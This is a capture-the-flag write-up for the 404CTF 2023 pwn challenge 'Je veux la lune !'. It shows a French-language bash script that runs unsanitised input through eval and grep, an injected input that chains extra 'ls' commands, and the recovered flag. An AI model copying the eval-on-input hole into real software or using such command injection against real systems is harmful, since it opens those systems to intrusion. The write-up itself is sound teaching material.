Home CTFs | 404CTF2023 | Pwn | Je veux la lune !
Post
Cancel

CTFs | 404CTF2023 | Pwn | Je veux la lune !

Context

context

We are given this code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/bin/bash

Caligula=Caius

listePersonnes="Cherea Caesonia Scipion Senectus Lepidus Caligula Caius Drusilla"

echo "Bonjour Caligula, ceci est un message de Hélicon. Je sais que les actionnaires de ton entreprise veulent se débarrasser de toi, je me suis donc dépêché de t'obtenir la lune, elle est juste là dans le fichier lune.txt !

En attendant j'ai aussi obtenu des informations sur Cherea, Caesonia, Scipion, Senectus, et Lepidus, de qui veux-tu que je te parle ?"
read personne
eval "grep -wie ^$personne informations.txt"

while true; do
    echo "
De qui d'autre tu veux que je te parle ?"
    read personne

    if [ -n $personne ] && [ $personne = "stop" ] ; then
    exit
    fi

    bob=$(grep -wie ^$personne informations.txt)
    echo $bob
    if [ -z "$bob" ]; then
        echo "Je n'ai pas compris de qui tu parlais. Dis-moi stop si tu veux que je m'arrête, et envoie l'un des noms que j'ai cités si tu veux des informations."
    else
        echo $bob
    fi  

done

The variable “personne” is not sanitized. So we can run do command injection.

if we enter:

1
404CTF flag.txt; ls -la; ls

The command becomes:

1
grep -wie ^404CTF flag.txt; ls -la; ls informations.txt

ls_la

We can diplay the content of lune:

flag

The flag is: 404CTF{70n_C0EuR_v4_7e_1Ach3R_C41uS}

This post is licensed under CC BY 4.0 by the author.